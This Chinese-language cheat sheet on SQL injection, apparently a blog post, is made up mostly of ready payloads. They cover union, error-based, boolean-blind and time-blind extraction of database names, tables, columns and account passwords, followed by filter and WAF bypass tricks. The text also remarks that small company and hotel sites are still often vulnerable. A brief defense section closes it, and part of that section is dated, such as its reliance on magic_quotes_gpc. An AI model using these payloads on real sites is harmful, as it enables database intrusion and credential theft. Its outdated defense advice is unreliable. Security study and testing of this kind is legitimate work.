SQL注入总结
0X00 引言
众所周知,会存在SQL注入是因为服务端未对用户输入的内容进行过滤。所以,要发现注入点,只需在可控参数后面注入即可。而注入点又分为整型和字符型。那么,如何进行注入呢?
0X01 注入点发现
只需在参数后面,添加单引号(‘)、双引号(“)、或者单引号加括号(‘))等等。如果页面回显不正常或者报错,再继续添加 and 1=1,回显正常;and 1=2,回显不正常或报错,即可判断存在注入。
0X02 注入点类型判断
1 and 1=1 (整型)
1 and 1=2 (整型)
1' or '1'='1 (字符型)
1' or '1'='2 (字符型)
0X03 注意事项
①注入点后面无论什么类型都需加上%23(#)注释。
②通常,整型注入发生在id=xx(数字)后面,字符型注入发生在英文单词后
③SQL注入在中大型网站存在的可能性已经很小了,小型类型的网站如公司、酒店等还有很多
1X00 回显点
利用order by N(数字),一个个尝试,即可判断存在多少个回显点
1X01 联合注入
1 union select 1,schema_name from information_schema.schemata# 获取数据库名
1 union select 1,table_name from information_schema.tables where table_schema=database()# 获取数据表名
1 union select 1,column_name from information_schema.columns where table_name='users' and table_schema='dvwa'# 获取数据列名
1 union select user,password from users# 获取账号密码
注:①字符型注入后需加单引号等,具体情况具体分析。
②整型注入,即id=xx,前面需加-(-id=xx)。
1X02 报错注入
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))# 获取数据库名
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))# 获取数据表个数
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))# 获取所有数据表名
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’表名’),0x7e))#
获取数据表列名
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e))# 获取数据列个数
1X03 布尔盲注
1' and length(database())=n(数字)# 获取数据库长度
1' and ascii(substr(database(),n,1))=n(逐一拆解) 获取数据库名
1' and (select count(*) from information_schema.tables where table_schema=database())=n
获取数据表个数
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=n 获取数据表长度
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),n,1))=n# 获取数据表名
1' and (select length(column_name) from information_schema.columns where table_name=’表名’ limit n,1)=n
1’ and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码 获取数据列名
1’ and (select count(列名) from 表名)=数量 获取数据的数量
and (select length(列名) from 表名 limit n,1)=长度 获取数据的长度
and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码 获取数据
注:①过滤了substr函数用如下函数:
left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,ken) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
②过滤了等于号:in()或like绕过
③过滤了ascii():hex() bin() ord()
1X04 时间盲注
- 猜解数据库长度
and if((select length(database()))=长度,sleep(6),0)
- 猜解数据库名
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
- 判断表名的数量
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
- 判断某个表名的长度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
- 逐位猜表名
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
- 判断列名数量
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
- 判断某个列名的长度
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
- 逐位猜列名
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
- 判断数据的数量
and if((select count(列名) from 表名)=个数,sleep(6),0)
- 判断某个数据的长度
and if((select length(列名) from 表名)=长度,sleep(6),0)
- 逐位猜数据
and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)
注:①过滤了sleep
用benchmark(),这个函数第一个值填要执行的次数,第二个填写要执行的表达式
2X00 绕过技巧
1. 大小写绕过
即UnioN sELect
2. 替代绕过
即uniunionin seselectlect
3. 双写绕过
4. 添加注释
如内联注释:/*!union*/
5. 使用16进制绕过特定字符
6. 宽字节、Latin1默认编码
7. 各个字符以及函数的代替
8. 逗号被过滤:用join代替
9.information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema
10.and or && ||被过滤
可用运算符! ^ ~以及not xor来代替
注:各类waf有不同的绕过技巧,如wts可通过+号代替空格绕过
3X00 SQL防御
- 开启magic_quotes_gpc
- 利用mysql_real_escape_string()、addslashes等函数过滤字符型注入;intval函数防御整数型注入。
- 编写pdo预编译进行防御(最稳妥)
- 对用户输入进行限制、过滤(如union、select等等)
结语:
鉴于网上相关文章众多,所以这里只做一些简单总结还有一些小技巧,希望各位大佬轻喷。下一期做一篇实战案例,敬请期待~~~~~~